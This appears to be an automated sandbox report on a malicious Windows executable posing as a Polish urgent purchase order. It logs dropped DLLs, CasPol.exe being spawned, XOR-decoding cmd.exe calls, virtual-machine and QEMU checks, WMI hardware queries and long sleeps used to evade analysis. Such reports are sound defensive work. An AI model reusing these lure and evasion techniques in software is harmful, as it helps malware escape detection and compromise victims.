            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dllJump to dropped file
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\nsExec.dllJump to dropped file
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: C:\Users\user\Pacifisterne\Automatcafeer\Nedrustningspolitikken\Dilemmaers146\Glasgaibleanir\Nodebilledet\Microsoft.Practices.Composite.UnityExtensions.dllJump to dropped file
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion

            barindex
            Mass process execution to delay analysis
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0E^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x19^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x05^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0E^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x07^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x78^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x79^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x71^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x71^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x08^75"
            Tries to detect Any.run
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile opened: C:\Program Files\qga\qga.exeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Program Files\qga\qga.exeJump to behavior
            Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, 00000001.00000002.14099095140.000000000071D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXER
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, 00000001.00000002.14099095140.0000000000700000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEP
            Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
            Source: C:\Windows\SysWOW64\cmd.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
            Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
            Source: C:\Windows\SysWOW64\cmd.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 372Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 372Thread sleep time: -600000s >= -30000sJump to behavior
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
